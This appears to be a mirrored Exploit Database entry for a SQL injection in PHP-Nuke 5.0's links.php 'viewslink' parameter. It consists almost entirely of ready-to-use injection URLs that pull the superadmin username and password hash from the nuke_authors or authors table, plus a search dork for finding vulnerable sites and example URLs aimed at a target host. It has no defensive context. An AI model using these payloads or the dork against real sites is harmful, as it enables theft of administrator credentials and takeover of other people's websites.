PHP-Nuke 5.0 – Viewslink SQL Injection

• Exploit Database
• 9 阅读

• 作者： CMD
  日期： 2010-05-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12514/

• # Author: CMD
  # Contact: cemede@ilkposta.com
  # Dork: [allinurl: op=viewslink&sid=]
  =-==-==-==-==-==-==-==C==M==D==-==-==-==-==-==-==-==-==-==-==-=
  
  # Code :
  
  [
  
  Exploit 1: 
  /links.php?op=viewslink&sid=-1/**/union/**/select/**/0,aid/**/from/**/nuke_authors/**/where/**/radminsuper=1/*
  
   
  /links.php?op=viewslink&sid=-1/**/union/**/select/**/0,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*
  
  
  
  Exploit 2: 
  /links.php?op=viewslink&sid=-1/**/union/**/select/**/0,aid/**/from/**/authors/**/where/**/radminsuper=1/*
  
  
  /links.php?op=viewslink&sid=-1/**/union/**/select/**/0,pwd/**/from/**/authors/**/where/**/radminsuper=1/*
  
  ]
  
  
  
  =-==-==-==-==-==-==-==C==M==D==-==-==-==-==-==-==-==-==-==-==-=
  
  # Example : 
  
  [
  
  Example 1 : 
  http://www.target.com/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*
  
  
  http://www.target.com/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,aid/**/from/**/nuke_authors/**/where/**/radminsuper=1/*
  
  
  
  Example 2 : 
  http://www.target.com/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,pwd/**/from/**/authors/**/where/**/radminsuper=1/*
  
  
  http://www.target.com/links.php?op=viewslink&sid=-1/**/union/**/select/**/0,aid/**/from/**/authors/**/where/**/radminsuper=1/*
  
  ]
  
  =-==-==-==-==-==-==-==C==M==D==-==-==-==-==-==-==-==-==-==-==-=
  
  #Thanx : AmeN & MUS4LLAT & Snaritx & JacKal & Metrp0l 
  & Ve sayamadıklarım
  
  #Says : Hemşo bak bug buldum xD